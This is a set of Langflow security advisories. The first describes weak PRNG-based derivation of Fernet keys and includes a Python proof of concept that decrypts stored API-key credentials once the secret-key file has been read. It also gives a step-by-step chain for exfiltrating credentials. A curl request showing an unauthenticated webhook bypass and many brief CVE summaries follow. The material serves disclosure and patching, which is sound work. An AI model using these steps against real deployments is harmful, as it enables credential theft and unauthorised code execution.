Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRETKEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRETKEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRETKEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRETKEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secretkey file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
python MINIMUMKEYLENGTH = 32
def ensurevalidkey(self, rawkey: str) -> bytes: if len(rawkey) < MINIMUMKEYLENGTH: random.seed(rawkey) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for in range(32)) # Fully deterministic output key = base64.urlsafeb64encode(key) else: key = self.addpadding(rawkey).encode() # Raw secret IS the Fernet key return key
def getfernet(self) -> Fernet: secretkey = self.settings.authsettings.SECRETKEY.getsecretvalue() validkey = self.ensurevalidkey(secretkey) return Fernet(validkey)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.createvariable and updatevariable).
What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
python services/variable/service.py encryptedvalue = authutils.encryptapikey(value) if type == CREDENTIALTYPE else value
Why this is critical in combination with the MCP path traversal: The secretkey file is stored at /app/data/.cache/langflow/secretkey — readable via the MCP path traversal vulnerability. Once exfiltrated: - If len(secretkey) < 32: run random.seed(secretkey) → derive identical key → decrypt all credentials instantly - If len(secretkey) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
python #!/usr/bin/env python3 Requires: pip install cryptography
import random import base64 from cryptography.fernet import Fernet
--- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decryptshortkey(secretkey: str, ciphertext: str) -> str: random.seed(secretkey) keybytes = bytes(random.getrandbits(8) for in range(32)) fernetkey = base64.urlsafeb64encode(keybytes) return Fernet(fernetkey).decrypt(ciphertext.encode()).decode()
--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decryptlongkey(secretkey: str, ciphertext: str) -> str: paddingneeded = 4 - len(secretkey) % 4 padded = secretkey + "=" paddingneeded return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
Values obtained from /app/data/.cache/langflow/secretkey (exfiltrated) and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRETKEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVGGgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWysPsKPLBri5ZOPAAP2c5EKkx5vtc1M="
plaintext = decryptlongkey(SECRETKEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3: - Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two Credential-type variables found in the variable table - Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345" - The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secretkey
End-to-end chain (with MCP path traversal): bash Step 1: Exfiltrate secretkey via MCP path traversal (no admin required, any authenticated user) Step 2: Query DB credentials via path traversal (SQLite file readable) Step 3: Decrypt offline — zero brute force, instant python3 pocdecrypt.py "$SECRETKEY" "$CIPHERTEXT" → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secretkey file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable - Database connection strings and passwords stored as credentials are exposed - OAuth tokens and webhook secrets stored via the Variables UI are exposed - All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRETKEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secretkey + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensurefernetkey() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRETKEY values. The 32-byte key is now derived deterministically with SHA-256:
python def ensurefernetkey(secretkey: str) -> bytes: if len(secretkey) < MINIMUMSECRETKEYLENGTH: digest = hashlib.sha256(secretkey.encode()).digest() # 32 bytes key = base64.urlsafeb64encode(digest) else: key = addbase64padding(secretkey).encode() return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via getfernetfordecryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secretkey) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRETKEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRETKEY (secrets.tokenurlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
Summary A vulnerability in Langflow's webhook authentication logic allows unauthenticated users to trigger the execution of any flow. The system incorrectly bypasses API key validation when the WEBHOOKAUTHENABLE configuration is set to False. This allows a remote attacker who knows a flow's UUID to execute it as if they were the owner, potentially leading to Remote Code Execution (RCE) or Denial of Service (DoS).
Details The WEBHOOKAUTHENABLE setting was introduced in v1.7.0 (#9139) with a default of False. The root cause is in the webhook authentication path, AuthService.getwebhookuser (src/backend/base/langflow/services/auth/service.py; the thin wrapper in src/backend/base/langflow/services/auth/utils.py just delegates to it):
python async def getwebhookuser(self, flowid: str, request: Request) -> UserRead: settingsservice = self.settings ... # VULNERABILITY: If this setting is False (default in <= 1.9.0), it returns # the flow owner WITHOUT checking the API Key in the request. if not settingsservice.authsettings.WEBHOOKAUTHENABLE: try: flowowner = await getuserbyflowidorendpointname(flowid) return flowowner
By default (v1.7.0 through v1.9.0), Langflow treats WEBHOOKAUTHENABLE as False, meaning all webhook endpoints are public. This relies exclusively on the secrecy of the flowid (UUID), which is an insecure practice (Security by Obscurity).
A related report, GHSA-6g4m-v5q2-475v, demonstrated a concrete RCE chain through this same bypass using the PythonCodeStructuredTool component (exec() on flow-authored Python code). That report is a duplicate of this root cause and has been closed in favor of this advisory; credit for that PoC has been added here.
PoC 1. Identify a valid flowid for a flow that performs a sensitive action (e.g., sending an email, writing to a database, or executing a Python script). 2. Execute a POST request to the webhook endpoint without any Authorization header or API Key: bash curl -X POST "http://<server-ip>:7860/api/v1/webhook/<flowid>" \ -H "Content-Type: application/json" \ -d '{"input": "payload"}' 3. Verify that the flow execution is triggered and the action is performed on the server.
Impact This is a High-severity Authentication Bypass. - Remote Code Execution (RCE): Flows often contain components that execute arbitrary Python code. An attacker can leverage this to gain full control over the server. - Denial of Service (DoS): Attackers can exhaust system resources by triggering heavy flows concurrently. - Data Integrity: Unauthorized execution of flows can lead to unintended modification of databases or external systems connected via the flow.
Affected versions >= 1.7.0, <= 1.9.0 (the range in which WEBHOOKAUTHENABLE existed and defaulted to False).
Fix Fixed in v1.9.1 by PR #12845 — fix(security): default WEBHOOKAUTHENABLE to True. The setting's default changed from False to True, so webhook endpoints now require API key authentication and ownership validation by default, unless an operator explicitly opts out via LANGFLOWWEBHOOKAUTHENABLE=false.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information from internal services due to a URL parser discrepancy.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote attacker to obtain sensitive information due to server-side request forgery.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery.
IBM Langflow OSS 1.0.0 through 1.11.5 allows an authenticated non-administrative user could execute arbitrary operating system commands on the server at the privilege level of the application process by constructing a flow with an MCP Tools component configured to use a local stdio subprocess transport. This bypasses both the LANGFLOWCUSTOMCOMPONENTADMINONLY and LANGFLOWBLOCKCODEINTERPRETERCOMPONENTS server-side controls intended to prevent exactly this class of access. Successful exploitation could lead to arbitrary command execution, sensitive data exposure (including credentials from the process environment), file system modification, and lateral movement to services reachable from the server.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special characters in flow display names.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute flows and obtain sensitive information due to insufficient session expiration of API keys after user deactivation.
IBM Langflow OSS 1.0.0 through 1.11.5.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to obtain sensitive information from internal network resources due to improper validation of user-supplied URLs.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary Python code due to improper authorization of custom components in stored flows.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an incomplete environment variable blocklist.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to read arbitrary files due to improper access control.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of user-controlled API endpoints.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of command-line arguments in the MCP stdio server configuration.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an unguarded eval() call on attacker-controlled input.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to execute arbitrary code due to an incomplete denylist in the security scanner.
An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.
IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.
IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an authenticated attacker to access sensitive files belonging to other users due to improper access control in the File/Read File component. When executing flows through the /api/v1/run/advanced/{flowid} endpoint, the application allows component inputs to reference storage paths using arbitrary user or flow identifiers without verifying ownership. An attacker with low‑privileged authenticated access can supply a crafted file path pointing to another user’s storage namespace, causing the backend to read and return the contents of files uploaded by other users. This vulnerability bypasses intended authorization checks enforced by the file management API and may result in unauthorized disclosure of sensitive user data.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.11.2 Langflow could allow an authenticated attacker to write arbitrary files to the server due to improper input validation in the SaveToFileComponent. The application constructs local file paths using attacker‑controlled input without sufficient sanitization when handling requests to the /api/v1/run/{flowid} endpoint. An attacker with low‑privileged authenticated access (such as a valid API key or user session) can supply crafted path values, including absolute paths or path traversal sequences, allowing arbitrary file writes to locations writable by the Langflow process. Successful exploitation may lead to unauthorized file creation or modification, potentially resulting in further compromise depending on the deployment environment.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to delete arbitrary local files or directories due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot " sequences ( /.. /) to view arbitrary files on the system.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to execute arbitrary code due to an authorization bypass in the flow build process.
IBM Langflow OSS 1.0.0 through 1.10.2 could allow an authenticated attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system.
IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote authenticated attacker to obtain sensitive information due to improper limitation of a pathname to a restricted directory.
IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote authenticated attacker to obtain sensitive information and inject messages into workflow history due to improper authorization.